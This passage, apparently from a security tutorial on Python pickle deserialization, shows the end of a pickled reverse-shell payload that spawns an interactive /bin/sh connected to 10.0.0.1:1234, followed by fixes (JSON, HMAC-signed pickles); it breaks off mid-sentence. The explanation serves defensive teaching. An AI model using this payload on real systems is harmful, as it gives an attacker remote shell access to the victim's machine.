dup2(s.fileno(),2)
        p=subprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;])

payload = pickle.dumps(ReverseShell())
</code></pre>
<p>To start an open shell on 10.0.0.1:1234.</p>
<h2>Fixes</h2>
<p>Either:</p>
<ul>
  <li>Use an alternative deserialization method, like JSON</li>
  <li>Sign your serialized pickle data and then verify it before deserializing to ensure it hasn't been tampered with</li>
</ul>
<h2>Signing pickles</h2>
<p>To sign your pickled data, use the <code>hmac</code> module to hash the